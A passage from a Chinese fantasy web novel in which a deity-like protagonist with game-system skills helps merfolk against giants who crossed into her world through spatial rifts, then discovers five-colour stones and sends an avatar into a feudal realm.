而下一秒，小红鸟就打破了颜辞云的侥幸心理。 “这颗【龙珠】怎么来的？当然是把龙杀掉后，从它的脑袋里挖出来的……我想想，大概是二十多次换季前的事吧，有一条蠢龙跑到我们的地盘来，一看就是不想活了，我们当然要成全它，随手把它干掉了…… “现在它的尸体就在那边的大地上——对了，天神大人你手上的这个就是它的龙筋——天神大人你想去看看那头龙吗？” 颜辞云：“……不用了，谢谢。” 万万没想到，这群小红鸟还有这么凶残的一面，果然是鸟不可貌相。 而且，听起来，这群小红鸟和龙似乎是宿敌？见面就一定会大打出手的那种？ 这倒是意外收获了。 送出了一颗小型水灵珠，收获了一堆漂亮石头和龙的特色产物，颜辞云觉得不亏，并准备回家了。 而在她离开前，小红鸟的首领却又叫住了她，赠送了她一条消息。 “天神大人，最近那些蠢龙和麒麟们都不太安分，在下一次阊阖之门开启前，它们可能会有所动作，您一定要小心呀！” 阊阖之门，是指金丘以西、那座曾经环绕着无数雷云的西极之山。 随着颜辞云掌控四季，拨正时序，那暴烈的水火二炁和危险的雷云散去，那扇传说中通往通往神灵之所的阊阖之门，也变回了安全的、可探索的状态。 这是好消息，也是坏消息。 因为这代表着，住在前去阊阖之门的必经路上的颜辞云，很快会迎来一大波或善意或恶意的拜访与打扰。 颜辞云脚步一顿，向这只提醒她的小红鸟轻轻颔首。 “我知道。” 颜辞云微笑着。 “事实上，我也等待它们很久了。” 第108章 鲛人 颜辞云心中咯噔一下…… 在进入春季的第二个月，来拜访颜辞云这位调解纠纷、排忧解难的天神大人的，是自寒泽而来的鲛人。 当时，颜辞云正在给自己的小树屋添加书房。 实话说，自从上个月颜辞云在火鸟的地盘意外得到【玲珑百窍心】后，颜辞云就一直想要把这个如琴舍一样的功能性建筑搞出来。 但当时，颜辞云正紧着做正厅厢房，也就是客厅卧室活动室一系列主要建筑，石头要紧得很，也就没多余的分配给书房了。 当然，如果颜辞云想的话，直接去石原刮地三尺、挖出一个天坑，还是很容易凑齐石头的。 可关键是，颜辞云这种连割完一批芦苇后都要执着种下新一批芦苇的人，又怎么愿意做这样竭泽而渔索求无度的事？ 所以，没办法，只能慢慢凑了。 因此，为了获取石头，颜辞云开始打那些山的主意了。 颜辞云发觉，金丘这块大陆上还是有许多许多山的，它们连绵起伏，一望无际，对于普通人来说，是一片十死无生的死亡山脉，对颜辞云来说……大概是咯脚的山路吧。 总之都不是什么好东西。 挖了！ 颜辞云拿着自己的钻石锹和钻石稿，埋头奋斗，又是挖土又是挖石头的，花了整整一个月时间，才修整出了一条从青丘直通金丘南海岸的山道。 这条山道，平整、绵长，底部由一块块漂亮的白色石板铺就，两侧的山壁上则是被颜辞云特意移植来的藤曼与花草。 甚至她还特意在路上放了许多萤火虫！ 这样一来，这条道路白天干净整齐、鸟语花香，晚上则有萤火虫飞舞，挥洒点点荧光，漂亮极了！ 颜辞云擦了把汗，看着这条漂亮的小路，心中无比自豪，觉得自己的建家之魂果然没有白白燃烧。 可烧着烧着，颜辞云突然感到不对： 等等，她挖山路的初衷，难道不是为了收集石头修建书房吗？ 怎么最后变成修建山路了？ 颜辞云沉默片刻，回到青丘的树屋，决定当作无事发生。 所以，就这样，总而言之—— 在进入春季的第二个月，颜辞云开始修书房了。 她拿出特殊建材【玲珑百窍心】，又拿出足够的石头木材，用系统投影出书房的虚影，比划着要把这漂亮书房建哪儿的时候，颜辞云听到了奇怪的声音在金丘的大地上响起。 啪嗒、啪嗒。 那是从东海岸传来的声音，湿漉漉的，像是宽大鱼鳍拍打在陆地上发出的动静。 颜辞云离开青丘，向东走了两步，来到悬崖边上，低头远眺，恰好看到两个小鱼人艰难地上了岸。 这是两条非常漂亮的小鱼人。 它们身长约两米，肚脐以上是人类的形态，长发如瀑，明眸皓齿，皮肤白皙如玉。 明明是海里的凶兽，其凶残程度连食腐动物的当扈听了都要摇头，可偏偏瞧起来美丽柔弱极了，一颦一笑，我见犹怜。 而在它们的肚脐以下，则是鱼的形态。 不过，与普通的灰扑扑滑溜溜的丑鱼不同，它们的鳞片漂亮极了，在阳光下就像是某种贵金属，散发着贵重的异彩，每当海水涌上濡湿鳞片时，这样的异彩又会隐没，变成晦暗的锋芒。 颜辞云毫不怀疑，这样漂亮的鳞片倘若拿出一片当作凶器使用的话，是可以随随便便把别人大卸八块的！ ——这些她主动去寒泽寻时没瞧见的鲛人，今天怎么主动上了她的岸？ 总不会是搁浅了吧？ 颜辞云好奇看着这两只小鱼人的动静，看着它们相互搀扶着上了岸，擦干长长鱼尾上的水分，令其化作两条长腿，而后踩着这两条相互间都十分生疏的腿，像柳条一样左摇右摆地向青丘的方向走来。 “还真是来找我的？” 颜辞云想着，盯着那两条小鱼人的走路姿势，下意识摸了摸自己的蛇尾，觉得自己摄形到的第一个形态是蛇而非鱼可真是太好了，否则她日后哪天变成人形了，却走得和它们两个一样怎么办？ ……这么想是不是有点缺德？ 心虚了一秒后，颜辞云连忙收回目光，顺着翻修后的树屋长廊，一路向上，坐在树屋百米处修建的悬空亭台上，趴在护栏处，悠闲向下眺望，一边吹风一边等待小鱼人的到来。 如今，在经过一个月的翻新和装修后——虽然颜辞云自己的大部分时间都在修路——颜辞云手下的小树屋，也算是脱胎换骨了！ 依然秉持着自然、和谐的风格，更没有像常见的树屋那样，截断巨木的身体当作地基，而是与巨大的建木融为一体，就像是“长”在了树上一样。 颜辞云这座新的小树屋，结构精巧，外形奇特，一个个悬空的房间由一根根藤蔓构筑的长廊串联，长廊两侧除了奇花异草之外，还有一些轻纱，一些风铃，一些勉强能看出模样的木雕。 当然，驱蚊草和驱虫香也是少不了的。 只不过这些香与草混合在藤蔓与花丛中，并不起眼，也不突兀，而是揉杂在了一块，就像是巨大的树上长出了一座漂亮的迷宫！ 颜辞云爱极了这样的树屋，觉得自己这一个月的奔波和勤劳真是半点儿没有白费……虽然修树屋的主要是系统而她只是修了山路。 但总之，勤劳没有空耗，劳动全是回报。 成就感满满！ 颜辞云掏出了一个木块，一边哼着歌，一边练习雕刻，等待着两个小鱼人的到来。 而她等啊等，从早上一直等到了天黑，那两条上岸的小鱼人才终于翻过了三万公里的海滩，七万公里的荒野，爬上三千余米的悬崖，来到建木所在的青丘上。 一副弱弱的样子。 这时候，颜辞云已经无聊到去了一样制作房，收了一波果干，还生火烤了百来斤兔肉，百来斤狗肉，百来斤牛羊肉，还有百来斤鸡肉，分给恶猫小白和傻鸟小红吃了，给这两个小朋友垫了垫肚子。 而这两条小鱼人，就是在颜辞云吃饱喝足灭火堆时，站在颜辞云的面前的。 比起动辄千米万米的巨鸟当扈和焦侥火鸟，这两条抻长了也只有两米出头的小鱼人，无疑可以说得上一句“小家伙”。 就像是从鱼缸里跳出来的金鱼，哪怕是看小怪兽体型的颜辞云，都用的是仰望姿态。 而至于颜辞云身后数千米高的建木和蜿蜒向上的树屋迷宫，对它们来说更是毫无疑问的神迹！ 所以，在见到颜辞云的瞬间，两个小鱼人就噗通跪下了。 五体投地的那种，滑跪的姿势比当扈还熟练。 而它们的请求，也是令颜辞云颇感惊讶，因为它们竟然说—— “想要……得到上岸的能力？最好可以在岸上长期生活，至少也要能够战斗？” 颜辞云听着，表情不由得古怪了起来。 事实上，颜辞云觉得，无论是谁听到这两个小鱼人说自己想要上岸，在岸上长住和生活时，都会忍不住露出这个表情。 毕竟，这些小鱼人就算勉强能算两栖动物，可是—— 鲛人就是鲛人啊！ 你们看着那个“鱼”字旁再说一遍你们想干嘛？ 可能是自己也知道自己的请求非常离谱，让人一头雾水，这两条小鱼人便连忙向颜辞云解释了起来。 原来，在积冰大陆、寒泽的海洋深处，生活着一群与世无争只猛猛吃鱼的小鱼人，外人都称它们为鲛人。 一直以来，鲛人族群都生活在深海之中，上岸的时间虽少，但大部分时候都很安全，毕竟鲛人虽然远算不上海洋霸主，但也是有一把子力气和一大群鱼儿小伙伴的。 所以一般来说，鲛人族群和其他的族群，都是井水不犯河水，各在各的地盘玩各的。 可是，意外在不久前出现了！ 也不知道什么时候，寒泽海域之上竟多了一块土地，而这块土地上又多了一群怪人。鲛人族群称这些怪东西为鬼族。 鬼族的形态大致有两种。 其中一种，是半透明的、看得见摸不着的。 这种形态的鬼族，白天不知道躲在哪儿，反正基本是瞧不见的，而到了晚上，哪怕瞧见了也很难触碰。 在鲛人们看来，这就非常像是某种蜃气形成的幻觉。除了可以沟通外。 而第二种形态的鬼族，也就是让这些小鱼人怒气冲冲、想要上岸的罪魁祸首！ 它们长得似人又非人，牛高马大，最低两米，最高五米，对普遍两米左右的鲛人来说，简直就像是小巨人！ 更可怕的是，这些鬼族的小巨人皮糙肉厚，刀枪难入，性情残暴的同时，又水火难侵。 而偏偏它们所在的土地上满是冻土，几乎没有活物，也没有可供它们发泄残暴欲望的东西，所以它们很快把目光转向了海洋。 最开始，遭殃的是寒泽的鱼群。那时候，鲛人们觉得这跟自己没有在意，觉得鱼群的生死循环也是自然之理，就没有去管。 紧接着，遭殃的是寒泽的海兽。那时候，鲛人们虽然非常不舍得自己的小伙伴，但海兽在战斗中死去，同样是非常正常的，所以它们就没有插手。 最后，那群可恶的鬼族巨人们，把主意打到了它们鲛人一族的头上，短短十天不到的时间，就杀死了鲛人族群的两个成员！ 要知道，它们鲛人族本就族人不多，繁衍还困难。 一下子失去两个成员，这简直是要了族长的命啊！ 于是，暴怒之下，这些小鱼人奋起反抗，对着那些狩猎到它们鲛人地盘上的鬼族巨人迎面而上，狠狠给了对方一点颜色瞧瞧！ 可偏偏，那些鬼族巨人长得又丑又大，一副笨拙模样，实则精得不行，在海里打不过鲛人后，就立即上岸跑路了。 而且，也不知道是不是错觉，有些鬼族巨人明明被它们鲛人一族杀死了，可没多久后，它们却又似乎……复活了？ 当然，也可能是认错了，毕竟这些鬼族都丑得千奇百怪的，让美貌小鱼人们不忍心细看。 不过这一切都还好，最让鲛人们难以忍受的是，当这场种族之战结束、鲛人一族退去后，那些逃跑了的鬼族竟然又偷偷下水，逮住鲛人落单的成员，在海岸边上把鲛人串成串烤了！ 如此挑衅！如此恶毒！ 鲛人一族在深海畅游多年，哪里受过这样的气？ 因此，它们心一横，就派出了两个成员，来到金丘这边的天神住所，寻求颜辞云这位天神大人的帮助。 鲛人一族还算克制，没有开口就让颜辞云帮他们复仇，而是请求颜辞云的“点化”，让世世代代生活在深海的它们，拥有登上陆地作战的能力。 可对颜辞云这位天神大人来说，这样的“点化”，还不如直接请求她把鬼族干掉呢！ 【改造】这个技能，她用得还半生不熟的，哪里知道该从哪里爆改鲛人？ 虽然请求她直接干掉鬼族她也不会答应就是了……不不不不？ 等会儿？！ 这一刻，颜辞云蓦然察觉要素： “寒泽海上不知道从哪里冒出的陆地”，“两种形态的鬼族”，“白天看不到晚上冒出来的半透明魂体”，“明明杀死了回头又像是死而复生了的丑鬼”…… 不是吧不是吧。 不会真的是她想的那样吧？ 颜辞云心中咯噔一下，默默汗流浃背。 她隐蔽地擦擦汗，义正词严道： “族群之战，虽是历史与文明进程中无可避免的一幕，但过度的血腥与扩张，却理当受到谴责与制止。 “好了，走吧，带我去看看吧。就让我来看看，那些在寒泽之上肆意妄为的’鬼族‘，究竟是什么来头！” 不管什么来头，都最好不要是她想的那种来头。 这一刻，颜辞云在心里默默向天神祈祷着……嗯？等等，天神是她自己？ 哦，那算了。 第109章 偷渡客 它们是黑户！ 因嫌弃两条小鱼人速度太慢，颜辞云便直接伸出手，将它们托在了手上，径直飞向了金丘东北方的积冰大地。 事到如今，在听完小鱼人的描述后，颜辞云其实已经大致明白发生了什么。 毕竟台州是她亲自放下的，地府也是她出力建成的，就连那些鬼魂，都是颜辞云亲手开启死神外套的空间袋放出来的。 颜辞云固然不明白那些跟鲛人们打得火热的“鬼族第二形态”具体是怎么冒出来的，却也多少猜到了症结所在。 所以，如今的颜辞云，其实是可以直接杀向台州，冲进地府，看看这个掌管生死轮回的地域究竟发生了什么的。 但，可能是做贼心虚吧，颜辞云在发现问题的第一时间，并不是返回作案现场查看后续，而是准备去积冰大地那边的寒泽看看受害鱼的情况如何。 如果时机不错的话，她趁机演上一波、推卸一下责任、装作无事发生，也是可以的。 可事实证明，颜辞云的内心戏有点太丰富了。 这些习性还未脱离野兽的小鱼人们，并没有颜辞云以为的那些复杂心思、繁琐流程。 当发现自己眨眼来到积冰大地后，两条小鱼人虽然发出了惊呼，对颜辞云这位天神大人越发崇敬仰慕了，可接下来，它们并没有按照人类的办事流程，去深海叫出它们的族长和族鱼，让它们来觐见颜辞云这位天神大人； 所以，也没有发生鲛人族长抱着颜辞云的尾巴涕泪横流，谈一谈鲛人族群一路的发展史，回忆往昔的苦日子，感激当前的好日子，展望未来的甜日子； 更没有号召全族，开个三天三夜的流水席招待天神大人，再恭恭敬敬请天神大人为自己族群主持公道，并在天神大人离开前偷偷塞点小贿赂供奉两条小美鱼什么的……没有！这些统统没有！ 两条小鱼人只是怀着非常朴素的心思，连族鱼都没有叫出一个，直接往南边台州的方向一指，向颜辞云比划不停，就差跳起来向颜辞云告状了：那里！天神大人！坏蛋就在哪里！！你一定帮我们啊！！ 颜辞云：“……” 行吧。 虽然看起来像人，但果然还是鱼。 跟野兽打交道就是简单啊。 在心里暗自赞叹一声后，颜辞云便在两条小鱼人的“引路”下，又带着它们度过寒泽，登上台州。 时隔一月，台州并没有什么显著变化，依然是颜辞云离开时的模样。 满地的冻土，数不清的天坑。无处不在的乌云与迷雾笼罩大地，明明是大白天，烈阳高悬，空气的能见度也不低，可不知道为什么，一进入台州后，就是让人感觉四周阴沉沉的。 这就是死亡的力量，“阴”能量的表现形式之一。 因正值鲛人和鬼族两族交战时刻，颜辞云的登陆瞬间引起了台州众多鬼族的注意。 这也是非常正常的。 毕竟颜辞云此刻的身长近二十米，虽然大部分都是尾巴，但日常身高也近十米了。 而鬼族虽然高大，最高者也不过五米左右，堪堪到颜辞云的腰部而已。 如今的颜辞云就像是一个闯入了北海幼儿园的成年人，作为只能仰视颜辞云这个成年人的小朋友，鬼族又如何不惊恐？ 所以，非常迅速的，几乎在颜辞云冒头的瞬间，台州的鬼族们就嚷嚷着叽里哇啦的东西，大叫着跑掉了。 颜辞云目光一动，发现这还是她第一次听到完全听不懂的语言，于是凝神又听了一会儿。 可最后，颜辞云无语发现，那些叽里哇啦并不是什么语言，就只是单纯且毫无意义的惊恐大叫而已。 颜辞云：“……” 行吧。 颜辞云把手上的两条小鱼人放在地上。 而它们一落地，就奔向了海岸边的火篝处，七手八脚地把捆在篝火上的食物，不，是被鬼族大卸八块又烤焦的鲛人肉放下，低头嗅了嗅后，没有掉眼泪，而是向鬼族们逃跑的方向露出了野兽般凶恶的表情与尖啸。 咿—— 如同鸟类的啸叫在大地上一遍遍回响。 而当这样的声音传到水下后，又化作了某种特殊的声波与振动。 一遍，两遍，三遍！ 当鲛人口中的啸叫在大地上第三遍回响时，颜辞云听到了大海深处大量生物极速游动的声音。 海底有什么东西正在逼近！ 数量很多！ 而与此同时，那些原本被颜辞云的登陆而吓得四散的鬼族们，也卷土重来。 它们拿着原始而粗陋的石制武器，在一个最高大也最丑陋的鬼族巨人的带领下，像模像样地站出了阵型的雏形，向着颜辞云步步逼近，每向前一步都伴随着一声齐声大喝，做出一副誓要打倒她这只大怪兽的模样。 而在鬼族身后更远的地方、永冻石层下的间隙处，一些差不多有了人形的鬼魂躲躲藏藏着，虽然不敢暴露在烈日之下，却很敢摘下一只眼睛放在地面瞧热闹的。 于是，这一刻，颜辞云看着步步逼近的鬼族小巨人们，又看了看原处那一只只滴溜溜转的眼珠，越发感觉自己是在无数的摄像头下表演脚踢北海幼儿园的噱头主播了。 这感觉，不知道该怎么说，总之就是非常微妙。 不过，值得一提的是，随着这些“第二形态的鬼族”的大量齐聚，颜辞云惊讶发现，这些突然在台州上冒出来的鬼族，竟然没有生死轮回留下的痕迹。 要知道，在颜辞云最初的预想里，台州上冒出的这些“两种形态”的鬼族，应该是两种“生物”。 其中第一种“生物”，是被颜辞云从小世界带到大世界后无情放生、等待去地府排队转生的鬼魂。 而第二种“生物”，则是成功通过地府轮回井进行了转生，加入这方大世界后，变成的一个新物种和新族群。 然而，经过近距离接触和观察后，颜辞云发现，那些晒不了太阳的鬼魂们固然如她所想，是还没有抵达地府的、或者干脆是在地府外等着叫号转生的鬼。 虽然它们从一个小光点变成类人类形态的魂体这件事，让颜辞云有些意外，可这只是小事罢了。 真正让颜辞云惊讶的是，那些有了实体的鬼族们，即被鲛人们称作“第二形态的鬼族巨人”，并不是她以为的新物种。 因为它们与这方世界的生死秩序，没有建立起任何联系！ “没有建立起任何联系”是什么意思？ 意思是，它们既没有进入过地府，没有通过轮回井、经行过转生，与掌控新的生死秩序的地府毫无关系。 同时，它们身上也没有旧的生死秩序留下的痕迹。 它们既不被这方大世界的旧秩序束缚，同时又没有进入新的秩序之中。 简而言之—— 它们是来自异界的偷渡客！ 它们是黑户！！ 难怪小鱼人们说这些鬼族疑似会死而复生，明明前两秒才干掉了，没一会儿它们又起来了。 ——没有被新旧任何一套生死秩序束缚的“鬼族巨人”们，可不就会揭棺而起嘛！ 大地上的族群之战，颜辞云不好处理。 可不知哪儿来的偷渡客，颜辞云就不得不管了！ 颜辞云眉头一皱，脸色一冷，目光一扫，探手拿出三炁紫金葫，另一只手则对着大地上的“鬼族巨人”们轻轻一点。 【指定对象，台州大地上的所有“鬼族巨人”。】 一瞬间，狂风骤起。 莫大的吸力从葫芦里传来，如长鲸吸川！ 在鬼族小巨人们的惊叫声中，无尽狂风裹挟着它们，挤压着它们，令它们在旋转中变成一个个蚂蚁大小的黑点，一个接一个地没入葫芦嘴里。 并且，被吸入葫芦里的不仅是战场上的这些“鬼族巨人”们。 还有那些远离战场做壁上观的巨人们，甚至是那些躲藏在石窟洞穴深处的巨人们！ 一个接一个，一个再一个。 几乎是眨眼间，那些上一秒还气势汹汹的鬼族巨人们，就被颜辞云统统装进了葫芦里。 【鬼族巨人（新物种·未命名）X196】 快两百数量的异界来客。 正奇怪。 它们到底是怎么出现的？ 因心头压着这样一个沉甸甸的疑虑，颜辞云便没有再抽时间去地府转一圈、看看情况，也没有和身后那群如同仰望神迹惊叫不停的小鱼人们多说，只向它们点了点头，便飞离了这个聚集无数鲛人的海岸，在台州深处的一个无人之地降落。 颜辞云想要在这个安静之地，好好探究一下这些“鬼族巨人”的真正来头，找到它们大量偷渡到这方世界的通道或方法。 可是，这样的探究在一开始就卡了壳。 因为颜辞云很快就尴尬发现，自己并没有搜查记忆的办法。 玄幻的科幻的都没有。 当然，如果颜辞云够狠心的话，她大可以对这些异界偷渡客进行严刑逼供，甚至是直接杀了它们，等它们的灵魂从肉身脱离后，直接翻看它们的记忆。 一个不行就两个，两个不行就十个。 只要杀的够多，总会有知道两界穿梭的秘密的巨人。 但—— 没有必要。 是的，依然是这句老话，依然是这个态度。 对生活玩家颜辞云来说，所有的严厉苛责、尖利刻毒，都是没有必要的事。 一来，颜辞云天性平和，并非暴虐无度的人，对残忍虐杀并无兴趣。 二来，事情也没有坏到必须要她站出来当恶人的地步。 两界通道这种事，可大可小。 往大了说，一个能够让人两界穿梭的通道和方法，足以威胁到一个世界的稳定。 就像是在两个黑洞之间开启了通道，给了它们相互吸引、相互吞噬的机会。 但往小了说，就是在两个较近的大陆之间搭建了一条通道。 最典型的例子就是台州和弇州以东，那片白色浓雾里闪烁的“星星”们。 就连颜辞云自己都经常在大小世界之间相互穿梭，甚至还热情帮助小世界搬家，这样的她又怎么好意思对别的异界来客严刑逼供呢？ “所以，信息是要知道的，但得用一个温和一点的办法。” 什么办法呢？ 颜辞云一拍脑袋，想到了自己手上最后的一个技能点，以及自己战斗模块未解锁的两个技能： 【支配】与【亲和】。 是统御他人，还是靠魅力折服他人？ 并不是很想跟人费嘴皮子、同时也不是很信任“魅力”对智慧生物的效用的颜辞云，非常干脆果断地把技能点投入【支配】。 【支配（1/3）：你支配“他”就如同支配“我”一样。】 技能点投入进去后，颜辞云并没有觉得自己哪里有所改变。 她觉得，这可能是因为【支配】技能面向的是生物，而她所在的台州只有冻土，放眼望去大地一片空荡，连个鬼都没有。 所以颜辞云便直接从自己的三炁紫金葫里放出了一个“鬼族巨人”，决定在它的身上做做实验。 “鬼族巨人”并不是一种安分的生物。 因此它一落地就大喊大叫，应激般地举起手里的武器，攻向颜辞云。 颜辞云：“……下次再用葫芦收人的时候，得记得加一个‘去除武器等杂物’的条件。” 这样嘀咕着，颜辞云目光低垂，看着这个还不到自己肚脐高的小家伙，眼神只不过微微一动，对方就如同石像般，瞬间定格原地。 颜辞云琢磨了了一下自己刚刚使用【支配】技能时的感觉。 答案是，没有感觉。 就和吃饭喝水、呼吸睡觉一样。 【支配】技能在发动的时候，没有半点蓄力，没有半点声势，更没有任何迟滞。它就像是一种与生俱来的本能，当颜辞云“想”要这样做的时候，她立即就做到了。 这算好事还是坏事？ 说不上来。 于是颜辞云便又转头开始研究【支配】技能到底能做到什么地步。 在颜辞云天马行空的想象下，经过紧锣密鼓的实验后，在这只“鬼族巨人”热情的配合里，颜辞云很快了解到1级的【支配】技能可以做到什么地步。 简单点说，就是把中了【支配】能力的生命，变成局域网内的人工智能。 它会理解颜辞云的一切指令，让它干什么就干什么。虽然干不干得了、干不干得好还得另说，但非常听话却是真的。 并且，最重要的是，问什么就答什么，没有半点隐瞒。 虽然，还是同样的弊病，就是只能回答它自己知道的事，甚至当下达指令太多太频繁的时候，被支配的生物还会在大量命令堆积的“死机”状态里有挣脱支配的风险。 但对于颜辞云来说，1级【支配】能做到这一地步，已经非常让她惊喜了。 至少解了她的燃眉之急。 于是，确定自己掌握了“操控人心”的方法后，颜辞云便一口气将所有的“鬼族巨人”放了出来，支配它们、把它们连上同一个“局域网”，立即开始了自己的提问。 第110章 五色石 谁去补天？ 不问不知道，一问吓一跳。 当颜辞云提出第一个问题，也就是“你们通过什么方式来到这个世界”的时候，颜辞云怎么都没想到，自己竟然得到了好几个不同的答案！ 比如说那些和深海鲛人硬碰硬，甚至一度想要向颜辞云开战的鬼族巨人们，就是同属于某个部族的狩猎队伍，在狩猎和探险的途中通过山洞，来到这里的。 比如说那些被颜辞云从山洞里、河流中以及各个角落揪出来的鬼族巨人们，则是在溪水边洗果子洗兽皮衣、游泳打水嬉闹等，不小心落入溪水，醒来后就出现在幽都山脚的黑水中，又在抬头直面山上漫天鬼火的瞬间被吓得一路狂奔冲进山洞的。 甚至还有一些鬼族巨人是走在路上莫名踩空醒来就在这儿的，有老老实实集体采集转身就换了世界的，等等。 五花八门的“穿越方式”，听得颜辞云头疼，心里直犯嘀咕。 “不应该啊……” 颜辞云想不通。 “怎么会有这么多通向同一个异世界的裂隙呢？” 前不久，颜辞云还在升级过程中感到，这方大世界隐约间如同一个牢笼，天地的外围处有一些并非实质意义上的“锁链”将这个大世界牢牢封锁了起来。 这样的“锁链”，让颜辞云哪怕成为了四季正神，拥有着腾云驾雾纵身万里的能力，也没办法彻底飞出这方天地，去看看界外那些日月星辰的真正模样。 可现在，这个牢笼里怎么又冒出了这么多条“地道”？ 这合理吗？ 颜辞云心下狐疑，总觉得这件事情有哪里不对，又或者说有某些改变了“牢笼”的奇特事件正在发生、已经发生，可偏偏被关在牢笼中的最大困兽——她这位新任应龙，却对此一无所知。 “奇怪……” 真的非常奇怪。 颜辞云依次探查了这些鬼族巨人们在这方世界的降落地点，发现这几个地方的确隐隐有熟悉气息留存。 ——正是颜辞云在进入浓雾后所感受到的气息！ “原来，这样的气息和感觉，就是‘空间扭曲’啊……” 倒是意外学到了点东西。 不过，除了狩猎队走过的那条地道还残留着不太稳定的空间波动，理理还能用，其它的几个地点都只剩下了气息。 包括大量鬼族巨人意外现身的黑水尽头。 ——难道这些空间裂隙的出现，还有这些鬼族巨人的穿越，都是因为地府的持续运行？ 不由自主地，颜辞云冒出了这样的念头。 毕竟，一来，这些鬼族黑户都只出现在台州，相邻的弇州则一个没有；二来，台州的本体只不过是半层焦土与半层冻土的组合罢了，唯一的特殊物，有且仅有颜辞云放置下去的地府而已。 所以，会认为这些突兀出现的空间裂隙与地府相关，实在是一个很理所当然的思考方式。 但，也正因为太理所当然了，颜辞云并未全信自己的推测。 颜辞云决定亲自去看一看。 迅速结束思考，做下决定，颜辞云仔细询问了这些鬼族巨人所在世界的详细情况，得知通道另一边的世界应该只是一个结构简单的原始社会后，便决定轻装上阵。 她将这近两百来个鬼族巨人再次装回葫芦里，来到狩猎队穿过的通道，弯下腰来，低头向里一瞧。 通道幽暗深邃，里头一点儿光都没有，但让颜辞云松了口气的是，她的夜视能力还在稳定发挥作用，想来这里只是单纯的空间裂隙，而不是像胡拉坎小世界的天坑那样，有异种神力笼罩。 看起来似乎危险不大？ 即便这样想着，颜辞云还是在通道外停下了，转头又操控着自己的小号马甲闪亮登场。 别问，问就是谨慎。 七八米高的漆黑通道，对颜辞云本体来说，是需要弯腰低头俯身去看的低矮小路，但对于颜辞云的小号马甲来说，却大得能开演唱会。 颜辞云操控着马甲，漂浮在半空，一路徐徐前进，很快就来到了空间波动最强烈的地方。 “空间”是一种属性非常奇特的力量。 它与金木水火土这五行要素都不相同，是看不见摸不着的，甚至于当“阴”与“阳”都能通过温度变化来察觉时，唯独“空间”什么痕迹与提示都没有。 不过，还好。 似乎是因为在浓雾中穿梭了数次，甚至从中抢走了两个小世界、积累下了丰富的经验，颜辞云虽然同样对“空间”看不见摸不着，但却有着一种直觉般的感应。 就像是区别于五感的第六感。 颜辞云顺着这份感觉，一路向前，路上既没有遇到什么阻碍，甚至也没有发生任何意外，就这样轻易地穿过了空间裂隙，来到了裂隙的另一端！ 这就是……穿越的体验吗？ 光芒大盛，颜辞云的马甲下意识举起手，在眼前遮了遮。 而这一切落在大世界的颜辞云本体眼中，却又有另一个解释、另一个模样。 原来，所谓的“光芒”并不存在，甚至马甲也没有按照原计划，“穿过”空间裂隙。 因为，就在马甲在进入通道后，马甲对空间的感应不知道被什么东西扭曲了，在抵达空间裂隙的位置后，又继续前行，去到了通道更深的地方，然后，踩到了某一个东西，咻一下被“传送”走了！ “会是什么？” 好奇之下，颜辞云拿出了自己许久没用上的小锤子，在通道上方轻轻一砸，立时将通道内部马甲消失的位置上方砸出了一个豁口。 紧接着，她将手伸了进去，先是摸了摸空间裂隙的真正位置，琢磨了一下裂隙的气息变化，记下了它真正通向的地方后，再转手去摸马甲消失的位置。 而就是这一摸，让颜辞云摸到了一个与土壤触感不同的东西。 “咦？” 颜辞云大力出奇迹，直接从地里把那类似玉石的怪东西拔了出来。 ——为什么说这个是“怪东西”？ 因为，它虽然是被颜辞云在台州的某个地底通道里拔出来的，但它似乎并不属于台州。 它的状态很新，应该是刚成型不久，并且它的模样也很靓仔，和台州那刨开冻土就是焦土的寒碜模样格格不入。 特别是，当颜辞云吹出口气，把这块足有她半个巴掌大小的玉石上的尘埃拂拭干净后，颜辞云竟看到这块玉石上环绕有青、赤、黄、白、黑五种颜色！ “哇……这是什么？” 有点漂亮哦。 颜辞云举起玉石，对准太阳。 “五色……石？” 与此同时，另一头，颜辞云的马甲也终于穿过了空间隧道，在一个新的小世界降落。 并且，时间非常不巧。 她是在某个国家的皇帝祭祀典礼上、在文武百官的众目睽睽之下，从天而降的。 并且，落点正是被这些人所祭祀的神像的脑袋上！ 轰隆！ 颜辞云心绪一个波动，在【天元一气】、【天人合一】的两个天赋技能的加持下，脚下只是一个没注意用了点儿力，那座由青铜制成、外侧浇金的古朴神像，便瞬间化作一团粉末炸开。 但，颜辞云的高度却并未因这座庞然神像的破碎而降落，而是直接站在了虚空！ 这一刻，这一瞬间，地面上的皇帝懵了，文武百官懵了。 当然，天上的颜辞云也懵了： 不对，等会儿？ 不是说通道这边是鬼族巨人们的故乡，并且社会结构简单，还停留在原始部族的吗？ 怎么这儿都进入封建社会了？ 这是给她干哪儿来了？！ · 或许是技能【支配】的存在，如今颜辞云一心二用的本事变得越发娴熟了。 在大世界的本体这边，颜辞云花了点时间，用钻石镐把整个通道都挖了一遍，最后也只在空间裂隙的位置附近挖出了总共不到三立方米的五色石。 在系统里，五色石的注释是这样的： 【五色石：一种材料，界外之石，可通过特殊方式批量炼制。】 当看到这条注释的第一眼，颜辞云恍然大悟：原来是来自世界之外的石头啊！难怪在看到它后就觉得它不属于台州呢，原来是通过空间裂隙过来的。 但当颜辞云看了第二眼、第三眼后，她的视线莫名飘忽，她的心莫名蠢蠢欲动。 因为，五色石的最后一句话是——可通过特殊方式批量炼制。 什么叫“特殊方式”？ 是系统的制作台？ 还是她的水火炼葫？ 还是别的目前她还没掌握的手段？ 糟糕，手好痒啊！ 好想试一试啊！ 如果，五色石只是一种普通材料的话，颜辞云还没那么多想法。 可当它变成“可炼制”后，它对生活玩家的诱惑就空前强大起来—— 好想玩。 好想炼出一个漂亮摆件摆在家里。 好想炼出一大堆漂亮石头堆在仓库里。 好想达成五色石自由，就像是达成粮食自由水果自由零食自由和肉食自由一样。 生活玩家最喜欢做的事，不就是当囤囤鼠吗？ 真的好想试试啊…… 那，要不，就试试？ 本体这边，颜辞云将魔爪缓缓伸向了五色石。 而另一边，马甲也在那场惊世神迹后被当作降世神女，请入皇宫暂住。 当皇帝恭敬问及称呼时，颜辞云既不愿暴露自己的真名，也懒得捏一个故作高深的外号，于是随口化名“风里希”，让这些人叫自己风姑娘、风道长都行。 颜辞云并不在乎这些土著怎么称呼自己，就像是人类并不在乎蚂蚁如何看待自己。 但是，颜辞云的这份心态，倒不是因为她借金手指脱胎换骨后，心生傲慢，从此再也瞧不起凡人了，而单纯是因为颜辞云和封建土著人看到的世界相差太多、观念相差过远，已经接近于无话可说的地步。 所以，颜辞云的不在意，只是单纯的不在意而已。 